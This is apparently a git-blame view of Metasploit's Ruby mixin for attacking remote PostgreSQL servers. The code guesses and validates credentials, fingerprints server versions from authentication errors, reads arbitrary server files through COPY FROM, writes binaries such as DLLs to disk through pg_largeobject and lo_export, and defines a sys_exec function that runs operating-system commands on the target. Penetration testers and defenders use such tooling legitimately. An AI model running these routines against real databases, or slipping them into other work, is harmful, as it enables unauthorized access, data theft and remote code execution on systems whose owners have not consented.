2010-02-02 01:40:48 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# This module exposes methods for querying a remote PostgreSQL service.
|
|
|
|
#
|
|
|
|
###
|
|
|
|
|
|
|
|
module Exploit::Remote::Postgres
|
|
|
|
|
|
|
|
require 'postgres_msf'
|
2012-08-14 16:46:35 +00:00
|
|
|
require 'base64'
|
2010-02-02 01:40:48 +00:00
|
|
|
include Msf::Db::PostgresPR
|
2012-12-22 06:30:09 +00:00
|
|
|
|
|
|
|
# @!attribute [rw] postgres_conn
|
|
|
|
# @return [::Msf::Db::PostgresPR::Connection]
|
2010-02-02 01:40:48 +00:00
|
|
|
attr_accessor :postgres_conn
|
|
|
|
|
|
|
|
#
|
2012-12-22 06:30:09 +00:00
|
|
|
# Creates an instance of a PostgreSQL exploit module.
|
2010-02-02 01:40:48 +00:00
|
|
|
#
|
|
|
|
def initialize(info = {})
|
|
|
|
super
|
|
|
|
|
|
|
|
# Register the options that all Postgres exploits may make use of.
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RHOST,
|
|
|
|
Opt::RPORT(5432),
|
|
|
|
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
|
|
|
|
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
|
2010-02-05 15:20:59 +00:00
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
|
2010-02-02 21:02:12 +00:00
|
|
|
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
|
|
|
|
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
|
|
|
|
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
|
2010-02-02 01:40:48 +00:00
|
|
|
], Msf::Exploit::Remote::Postgres)
|
|
|
|
|
|
|
|
register_autofilter_ports([ 5432 ])
|
2010-02-09 20:44:23 +00:00
|
|
|
register_autofilter_services(%W{ postgres })
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# @!group Datastore accessors
|
|
|
|
|
|
|
|
# Return the datastore value of the same name
|
|
|
|
# @return [String] IP address of the target
|
|
|
|
def rhost; datastore['RHOST']; end
|
|
|
|
# Return the datastore value of the same name
|
|
|
|
# @return [Fixnum] TCP port where the target service is running
|
|
|
|
def rport; datastore['RPORT']; end
|
|
|
|
# Return the datastore value of the same name
|
|
|
|
# @return [String] Username for authentication
|
|
|
|
def username; datastore['USERNAME']; end
|
|
|
|
# Return the datastore value of the same name
|
|
|
|
# @return [String] Password for authentication
|
|
|
|
def password; datastore['PASSWORD']; end
|
|
|
|
# Return the datastore value of the same name
|
|
|
|
# @return [String] Database to connect to when authenticating
|
|
|
|
def database; datastore['DATABASE']; end
|
|
|
|
# Return the datastore value of the same name
|
|
|
|
# @return [Boolean] Whether to print verbose output
|
|
|
|
def verbose; datastore['VERBOSE']; end
|
|
|
|
|
|
|
|
# @!endgroup
|
|
|
|
|
|
|
|
# Takes a number of arguments (defaults to the datastore for appropriate
|
|
|
|
# values), and will either populate {#postgres_conn} and return
|
|
|
|
# +:connected+, or will return +:error+, +:error_databse+, or
|
|
|
|
# +:error_credentials+ in case of an error.
|
|
|
|
#
|
|
|
|
# Fun fact: if you get +:error_database+, it means your username and
|
|
|
|
# password was accepted (you just failed to guess a correct running database
|
|
|
|
# instance).
|
|
|
|
#
|
|
|
|
# @note This method will first call {#postgres_logout} if the module is
|
|
|
|
# already connected.
|
|
|
|
#
|
|
|
|
# @param opts [Hash] Options for authenticating
|
|
|
|
# @option opts [String] :database The database
|
|
|
|
# @option opts [String] :username The username
|
|
|
|
# @option opts [String] :username The username
|
|
|
|
# @option opts [String] :server IP address or hostname of the target server
|
|
|
|
# @option opts [Fixnum] :port TCP port on :server
|
|
|
|
#
|
|
|
|
# @return [:error_database] if user/pass are correct but database is wrong
|
|
|
|
# @return [:error_credentials] if user/pass are wrong
|
|
|
|
# @return [:error] if some other error occurred
|
|
|
|
# @return [:connected] if everything went as planned
|
|
|
|
def postgres_login(opts={})
|
2010-02-02 01:40:48 +00:00
|
|
|
postgres_logout if self.postgres_conn
|
2012-12-22 06:30:09 +00:00
|
|
|
db = opts[:database] || datastore['DATABASE']
|
|
|
|
username = opts[:username] || datastore['USERNAME']
|
|
|
|
password = opts[:password] || datastore['PASSWORD']
|
|
|
|
ip = opts[:server] || datastore['RHOST']
|
|
|
|
port = opts[:port] || datastore['RPORT']
|
2010-02-02 01:40:48 +00:00
|
|
|
uri = "tcp://#{ip}:#{port}"
|
2012-08-25 00:44:49 +00:00
|
|
|
|
2012-01-31 06:32:54 +00:00
|
|
|
if Rex::Socket.is_ipv6?(ip)
|
|
|
|
uri = "tcp://[#{ip}]:#{port}"
|
|
|
|
end
|
2012-08-25 00:44:49 +00:00
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
verbose = opts[:verbose] || datastore['VERBOSE']
|
2010-02-02 01:40:48 +00:00
|
|
|
begin
|
2010-09-26 21:02:00 +00:00
|
|
|
self.postgres_conn = Connection.new(db,username,password,uri)
|
2010-02-02 01:40:48 +00:00
|
|
|
rescue RuntimeError => e
|
|
|
|
case e.to_s.split("\t")[1]
|
|
|
|
when "C3D000"
|
2010-02-03 21:45:13 +00:00
|
|
|
print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
|
2010-02-02 01:40:48 +00:00
|
|
|
return :error_database # Note this means the user:pass is good!
|
2011-03-22 17:43:36 +00:00
|
|
|
when "C28000", "C28P01"
|
2010-02-03 21:45:13 +00:00
|
|
|
print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
|
2010-02-02 01:40:48 +00:00
|
|
|
return :error_credentials
|
2010-09-26 21:02:00 +00:00
|
|
|
else
|
2010-02-02 21:02:12 +00:00
|
|
|
print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
|
2010-02-02 01:40:48 +00:00
|
|
|
return :error
|
|
|
|
end
|
|
|
|
end
|
|
|
|
if self.postgres_conn
|
2010-02-02 21:02:12 +00:00
|
|
|
print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
2010-09-26 21:02:00 +00:00
|
|
|
return :connected
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Logs out of a database instance and sets {#postgres_conn} to nil
|
|
|
|
#
|
|
|
|
# @return [void]
|
2010-02-02 01:40:48 +00:00
|
|
|
def postgres_logout
|
|
|
|
ip = datastore['RHOST']
|
|
|
|
port = datastore['RPORT']
|
2010-02-05 15:20:59 +00:00
|
|
|
verbose = datastore['VERBOSE']
|
2010-02-02 01:40:48 +00:00
|
|
|
if self.postgres_conn
|
|
|
|
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
|
|
|
|
self.postgres_conn = nil
|
|
|
|
end
|
2010-09-26 21:02:00 +00:00
|
|
|
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# If not currently connected, attempt to connect. If an
|
2010-02-02 21:02:12 +00:00
|
|
|
# error is encountered while executing the query, it will return with
|
|
|
|
# :error ; otherwise, it will return with :complete.
|
2012-12-22 06:30:09 +00:00
|
|
|
#
|
|
|
|
# @param sql [String] The query to run
|
|
|
|
# @param doprint [Boolean] Whether the result should be printed
|
|
|
|
# @return [Hash]
|
2010-02-02 01:40:48 +00:00
|
|
|
def postgres_query(sql=nil,doprint=false)
|
|
|
|
ip = datastore['RHOST']
|
|
|
|
port = datastore['RPORT']
|
|
|
|
postgres_login unless self.postgres_conn
|
2010-02-02 21:02:12 +00:00
|
|
|
unless self.postgres_conn
|
2010-02-08 16:43:44 +00:00
|
|
|
return {:conn_error => true}
|
2010-02-02 21:02:12 +00:00
|
|
|
end
|
2010-09-26 21:02:00 +00:00
|
|
|
if self.postgres_conn
|
2010-02-02 01:40:48 +00:00
|
|
|
sql ||= datastore['SQL']
|
2012-12-22 06:30:09 +00:00
|
|
|
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
|
2010-02-02 21:02:12 +00:00
|
|
|
begin
|
|
|
|
resp = self.postgres_conn.query(sql)
|
|
|
|
rescue RuntimeError => e
|
2010-02-08 16:43:44 +00:00
|
|
|
case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors
|
2010-02-02 21:02:12 +00:00
|
|
|
when "C42601"
|
2010-02-08 16:43:44 +00:00
|
|
|
sql_error_msg += " Invalid SQL Syntax: '#{sql}'"
|
2010-02-02 21:02:12 +00:00
|
|
|
when "C42P01"
|
2010-02-08 16:43:44 +00:00
|
|
|
sql_error_msg += " Table does not exist: '#{sql}'"
|
2010-02-02 21:02:12 +00:00
|
|
|
when "C42703"
|
2010-02-08 16:43:44 +00:00
|
|
|
sql_error_msg += " Column does not exist: '#{sql}'"
|
|
|
|
when "C42883"
|
|
|
|
sql_error_msg += " Function does not exist: '#{sql}'"
|
2010-02-02 21:02:12 +00:00
|
|
|
else # Let the user figure out the rest.
|
2010-02-08 16:43:44 +00:00
|
|
|
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
|
2010-02-02 21:02:12 +00:00
|
|
|
end
|
2010-02-08 16:43:44 +00:00
|
|
|
return {:sql_error => sql_error_msg}
|
2010-02-02 21:02:12 +00:00
|
|
|
end
|
2010-09-26 21:02:00 +00:00
|
|
|
postgres_print_reply(resp,sql) if doprint
|
2010-02-08 17:35:58 +00:00
|
|
|
return {:complete => resp}
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2010-02-02 21:02:12 +00:00
|
|
|
# If resp is not actually a Connection::Result object, then return
|
|
|
|
# :error (but not an actual Exception, that's up to the caller.
|
|
|
|
# Otherwise, create a rowset using Rex::Ui::Text::Table (if there's
|
|
|
|
# more than 0 rows) and return :complete.
|
2010-02-02 01:40:48 +00:00
|
|
|
def postgres_print_reply(resp=nil,sql=nil)
|
|
|
|
ip = datastore['RHOST']
|
|
|
|
port = datastore['RPORT']
|
2010-02-08 16:43:44 +00:00
|
|
|
verbose = datastore['VERBOSE']
|
2010-02-02 21:02:12 +00:00
|
|
|
return :error unless resp.kind_of? Connection::Result
|
|
|
|
if resp.rows and resp.fields
|
2010-02-08 16:43:44 +00:00
|
|
|
print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
|
2010-02-02 21:02:12 +00:00
|
|
|
if resp.rows.size > 0
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Indent' => 4,
|
|
|
|
'Header' => "Query Text: '#{sql}'",
|
|
|
|
'Columns' => resp.fields.map {|x| x.name}
|
|
|
|
)
|
|
|
|
resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } }
|
|
|
|
print_line(tbl.to_s)
|
|
|
|
end
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
2010-02-02 21:02:12 +00:00
|
|
|
return :complete
|
2010-02-02 01:40:48 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Attempts to fingerprint a remote PostgreSQL instance, inferring version
|
|
|
|
# number from the failed authentication messages or simply returning the
|
|
|
|
# result of "select version()" if authentication was successful.
|
|
|
|
#
|
|
|
|
# @return [Hash] A hash containing the version in one of the keys :preauth,
|
|
|
|
# :auth, or :unkown, depending on how it was determined
|
|
|
|
# @see #postgres_authed_fingerprint
|
|
|
|
# @see #analyze_auth_error
|
2010-02-05 15:20:59 +00:00
|
|
|
def postgres_fingerprint(args={})
|
2012-10-13 20:18:25 +00:00
|
|
|
return postgres_authed_fingerprint if self.postgres_conn
|
2010-02-05 15:20:59 +00:00
|
|
|
db = args[:database] || datastore['DATABASE']
|
|
|
|
username = args[:username] || datastore['USERNAME']
|
|
|
|
password = args[:password] || datastore['PASSWORD']
|
2012-12-22 06:30:09 +00:00
|
|
|
rhost = args[:server] || datastore['RHOST']
|
|
|
|
rport = args[:port] || datastore['RPORT']
|
2012-08-25 00:44:49 +00:00
|
|
|
|
2010-02-05 15:20:59 +00:00
|
|
|
uri = "tcp://#{rhost}:#{rport}"
|
2012-01-31 08:08:02 +00:00
|
|
|
if Rex::Socket.is_ipv6?(rhost)
|
|
|
|
uri = "tcp://[#{rhost}]:#{rport}"
|
|
|
|
end
|
2012-08-25 00:44:49 +00:00
|
|
|
|
2010-02-05 15:20:59 +00:00
|
|
|
verbose = args[:verbose] || datastore['VERBOSE']
|
|
|
|
begin
|
2010-09-26 21:02:00 +00:00
|
|
|
self.postgres_conn = Connection.new(db,username,password,uri)
|
2010-02-05 15:20:59 +00:00
|
|
|
rescue RuntimeError => e
|
|
|
|
version_hash = analyze_auth_error e
|
2010-09-26 21:02:00 +00:00
|
|
|
return version_hash
|
2010-02-05 15:20:59 +00:00
|
|
|
end
|
2012-10-13 20:18:25 +00:00
|
|
|
return postgres_authed_fingerprint if self.postgres_conn
|
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Ask the server what its version is
|
|
|
|
#
|
|
|
|
# @return (see #postgres_fingerprint)
|
|
|
|
# @see #postgres_fingerprint
|
2012-10-13 20:18:25 +00:00
|
|
|
def postgres_authed_fingerprint
|
|
|
|
resp = postgres_query("select version()",false)
|
|
|
|
ver = resp[:complete].rows[0][0]
|
|
|
|
return {:auth => ver}
|
2010-02-05 15:20:59 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Matches up filename, line number, and routine with a version.
|
|
|
|
# These all come from source builds of Postgres. TODO: check
|
|
|
|
# in on the binary distros, see if they're different.
|
2012-12-22 06:30:09 +00:00
|
|
|
#
|
|
|
|
# @param e [RuntimeError] The exception raised by Connection.new
|
|
|
|
# @return (see #postgres_fingerprint)
|
|
|
|
# @see #postgres_fingerprint
|
2010-02-05 15:20:59 +00:00
|
|
|
def analyze_auth_error(e)
|
|
|
|
fname,fline,froutine = e.to_s.split("\t")[3,3]
|
|
|
|
fingerprint = "#{fname}:#{fline}:#{froutine}"
|
|
|
|
case fingerprint
|
|
|
|
|
2010-02-05 18:02:13 +00:00
|
|
|
# Usually, Postgres is on Linux, so let's use that as a baseline.
|
|
|
|
|
2010-02-05 15:20:59 +00:00
|
|
|
when "Fauth.c:L395:Rauth_failed" ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L264:RInitPostgres" ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials)
|
|
|
|
when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
|
|
|
|
|
|
|
|
when "Fauth.c:L400:Rauth_failed" ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L274:RInitPostgres" ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials)
|
|
|
|
when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good)
|
|
|
|
|
|
|
|
when "Fauth.c:L337:Rauth_failed" ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L354:RInitPostgres" ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials)
|
|
|
|
when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good)
|
|
|
|
|
2012-02-23 23:11:52 +00:00
|
|
|
when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"} # Failed (bad db, bad credentials) ubuntu 8.04.2
|
2010-02-05 15:20:59 +00:00
|
|
|
when "Fauth.c:L362:Rauth_failed" ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L319:RInitPostgres" ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials)
|
|
|
|
when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good)
|
|
|
|
|
|
|
|
when "Fauth.c:L1003:Rauth_failed" ; return {:preauth => "8.3.8"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L388:RInitPostgres" ; return {:preauth => "8.3.8-9"} # Failed (bad db, good credentials)
|
|
|
|
when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"} # Rejected (maybe good)
|
|
|
|
|
|
|
|
when "Fauth.c:L1017:Rauth_failed" ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
|
|
|
|
|
|
|
|
when "Fauth.c:L258:Rauth_failed" ; return {:preauth => "8.4.1"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L422:RInitPostgres" ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials)
|
|
|
|
when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"} # Rejected (maybe good)
|
|
|
|
|
|
|
|
when "Fauth.c:L273:Rauth_failed" ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
|
|
|
|
when "Fpostinit.c:L709:RInitPostgres" ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)
|
|
|
|
|
|
|
|
when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
|
|
|
|
when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
|
|
|
|
when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
|
|
|
|
|
2010-02-05 18:02:13 +00:00
|
|
|
# Windows
|
|
|
|
|
|
|
|
when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
|
|
|
|
when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
|
|
|
|
when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication' ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)
|
2012-12-22 06:30:09 +00:00
|
|
|
|
2011-03-22 17:39:19 +00:00
|
|
|
when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication' ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
|
|
|
|
when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed' ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)
|
2010-02-05 18:02:13 +00:00
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed' ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
|
|
|
|
when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres' ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
|
|
|
|
when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication' ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)
|
|
|
|
|
2010-02-23 14:09:21 +00:00
|
|
|
# OpenSolaris (thanks Alexander!)
|
|
|
|
|
|
|
|
when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
|
|
|
|
when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials)
|
|
|
|
when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials)
|
|
|
|
when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials)
|
|
|
|
|
2010-02-05 15:20:59 +00:00
|
|
|
else
|
|
|
|
return {:unknown => fingerprint}
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# @return [String] The password as provided by the user or a random one if
|
|
|
|
# none has been given.
|
2010-02-05 15:20:59 +00:00
|
|
|
def postgres_password
|
2010-09-26 21:02:00 +00:00
|
|
|
if datastore['PASSWORD'].to_s.size > 0
|
2010-02-05 15:20:59 +00:00
|
|
|
datastore['PASSWORD'].to_s
|
|
|
|
else
|
2012-02-01 08:08:26 +00:00
|
|
|
'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1)
|
2010-02-05 15:20:59 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2010-02-08 22:34:09 +00:00
|
|
|
# This presumes the user has rights to both the file and to create a table.
|
2012-12-22 06:30:09 +00:00
|
|
|
# If not, {#postgres_query} will return an error (usually :sql_error),
|
2010-02-08 22:34:09 +00:00
|
|
|
# and it should be dealt with by the caller.
|
|
|
|
def postgres_read_textfile(filename)
|
|
|
|
# Check for temp table creation privs first.
|
|
|
|
unless postgres_has_database_privilege('TEMP')
|
|
|
|
return({:sql_error => "Insufficent privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"})
|
|
|
|
end
|
|
|
|
|
|
|
|
temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6)
|
2010-09-26 21:02:00 +00:00
|
|
|
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
2010-02-08 22:34:09 +00:00
|
|
|
COPY #{temp_table_name} FROM '#{filename}';
|
|
|
|
SELECT * FROM #{temp_table_name}}
|
2012-10-13 20:18:25 +00:00
|
|
|
return postgres_query(read_query,true)
|
2010-02-08 22:34:09 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# @return [Boolean] Whether the current user has privilege +priv+ on the
|
|
|
|
# current database
|
2010-02-08 22:34:09 +00:00
|
|
|
def postgres_has_database_privilege(priv)
|
|
|
|
sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
|
|
|
|
ret = postgres_query(sql,false)
|
|
|
|
if ret.keys[0] == :complete
|
|
|
|
ret.values[0].rows[0][0].inspect =~ /t/i ? true : false
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-03-23 19:36:07 +00:00
|
|
|
# Creates the function sys_exec() in the pg_temp schema.
|
2012-12-22 06:30:09 +00:00
|
|
|
# @deprecated Just get a real shell instead
|
2011-03-23 19:36:07 +00:00
|
|
|
def postgres_create_sys_exec(dll)
|
2012-12-22 06:30:09 +00:00
|
|
|
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
|
2011-03-23 19:36:07 +00:00
|
|
|
resp = postgres_query(q);
|
|
|
|
if resp[:sql_error]
|
|
|
|
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
|
|
|
# certainly by postgres_create_sys_exec()
|
2012-12-22 06:30:09 +00:00
|
|
|
#
|
|
|
|
# @deprecated Just get a real shell instead
|
2011-03-23 19:36:07 +00:00
|
|
|
def postgres_sys_exec(cmd)
|
2012-08-14 16:46:35 +00:00
|
|
|
print_status "Attempting to Execute: #{cmd}"
|
2011-03-23 19:36:07 +00:00
|
|
|
q = "select pg_temp.sys_exec('#{cmd}')"
|
|
|
|
resp = postgres_query(q)
|
2011-11-20 01:32:06 +00:00
|
|
|
if resp[:sql_error]
|
2012-09-13 13:42:10 +00:00
|
|
|
print_error resp[:sql_error]
|
2011-03-23 19:36:07 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
2012-08-14 16:46:35 +00:00
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Uploads the given local file to the remote server
|
|
|
|
#
|
|
|
|
# @param fname [String] Name of a file on the local filesystem to be
|
|
|
|
# uploaded
|
|
|
|
# @param remote_fname (see #postgres_upload_binary_data)
|
|
|
|
# @return (see #postgres_upload_binary_data)
|
2012-10-13 20:18:25 +00:00
|
|
|
def postgres_upload_binary_file(fname, remote_fname=nil)
|
|
|
|
data = File.read(fname)
|
|
|
|
postgres_upload_binary_data(data, remote_fname)
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Writes data to disk on the target server.
|
2012-10-18 21:57:40 +00:00
|
|
|
#
|
2012-12-22 06:30:09 +00:00
|
|
|
# This is accomplished in 5 steps:
|
|
|
|
# 1. Create a new object with "select lo_create(-1)"
|
|
|
|
# 2. Delete any resulting rows in pg_largeobject table.
|
|
|
|
# On 8.x and older, postgres inserts rows as a result of the call to
|
|
|
|
# lo_create. Deleting them here approximates the state on 9.x where no
|
|
|
|
# such insert happens.
|
|
|
|
# 3. Break the data into LOBLOCKSIZE-byte chunks.
|
|
|
|
# 4. Insert each of the chunks as a row in pg_largeobject
|
|
|
|
# 5. Select lo_export to write the file to disk
|
2012-10-18 21:57:40 +00:00
|
|
|
#
|
2012-12-22 06:30:09 +00:00
|
|
|
# @param data [String] Raw binary to write to disk
|
|
|
|
# @param remote_fname [String] Name of the file on the remote server where
|
|
|
|
# the data will be stored. Default is "<random>.dll"
|
|
|
|
# @return [nil] if any part of this process failed
|
|
|
|
# @return [String] if everything went as planned, the name of the file we
|
|
|
|
# dropped. This is really only useful if +remote_fname+ is nil
|
|
|
|
def postgres_upload_binary_data(data, remote_fname=nil)
|
2012-10-13 20:18:25 +00:00
|
|
|
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# From the Postgres documentation:
|
|
|
|
# SELECT lo_creat(-1); -- returns OID of new, empty large object
|
|
|
|
# Doing it this way instead of calling lo_create with a random number
|
|
|
|
# ensures that we don't accidentally hit the id of a real object.
|
|
|
|
resp = postgres_query "select lo_creat(-1)"
|
|
|
|
unless resp and resp[:complete] and resp[:complete].rows[0]
|
|
|
|
print_error "Failed to get a new loid"
|
|
|
|
return
|
2012-08-21 22:57:07 +00:00
|
|
|
end
|
2012-08-14 16:46:35 +00:00
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
oid = resp[:complete].rows[0][0].to_i
|
|
|
|
|
|
|
|
queries = [ "delete from pg_largeobject where loid=#{oid}" ]
|
|
|
|
|
|
|
|
# Break the data into smaller chunks that can fit in the size allowed in
|
|
|
|
# the pg_largeobject data column.
|
|
|
|
# From the postgres documentation:
|
|
|
|
# "The amount of data per page is defined to be LOBLKSIZE (which is
|
|
|
|
# currently BLCKSZ/4, or typically 2 kB)."
|
|
|
|
# Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
|
|
|
|
# stick to 2kB.
|
|
|
|
chunks = []
|
|
|
|
while ((c = data.slice!(0..2047)) && c.length > 0)
|
|
|
|
chunks.push c
|
|
|
|
end
|
|
|
|
|
|
|
|
chunks.each_with_index do |chunk, pageno|
|
|
|
|
b64_data = postgres_base64_data(chunk)
|
|
|
|
insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
|
|
|
|
queries.push( "#{insert}"%[oid, pageno, b64_data] )
|
|
|
|
end
|
|
|
|
queries.push "select lo_export(#{oid}, '#{remote_fname}')"
|
|
|
|
|
|
|
|
# Now run each of the queries we just built
|
2011-03-23 19:36:07 +00:00
|
|
|
queries.each do |q|
|
|
|
|
resp = postgres_query(q)
|
|
|
|
if resp && resp[:sql_error]
|
|
|
|
print_error "Could not write the library to disk."
|
|
|
|
print_error resp[:sql_error]
|
2012-12-22 06:30:09 +00:00
|
|
|
# Can't really recover from this, bail
|
|
|
|
return nil
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
|
|
|
end
|
2012-12-22 06:30:09 +00:00
|
|
|
return remote_fname
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Calls {#postgres_base64_data} with the contents of file +fname+
|
|
|
|
#
|
|
|
|
# @param fname [String] Name of a file on the local system
|
|
|
|
# @return (see #postgres_base64_data)
|
2011-03-23 19:36:07 +00:00
|
|
|
def postgres_base64_file(fname)
|
|
|
|
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
2012-10-13 20:18:25 +00:00
|
|
|
postgres_base64_data(data)
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Converts data to base64 with no newlines
|
|
|
|
#
|
|
|
|
# @param data [String] Raw data to be base64'd
|
|
|
|
# @return [String] A base64 string suitable for passing to postgresql's
|
|
|
|
# decode(..., 'base64') function
|
2012-10-13 20:18:25 +00:00
|
|
|
def postgres_base64_data(data)
|
2012-08-21 22:57:07 +00:00
|
|
|
[data].pack("m*").gsub(/\r?\n/,"")
|
|
|
|
end
|
2012-08-14 16:46:35 +00:00
|
|
|
|
|
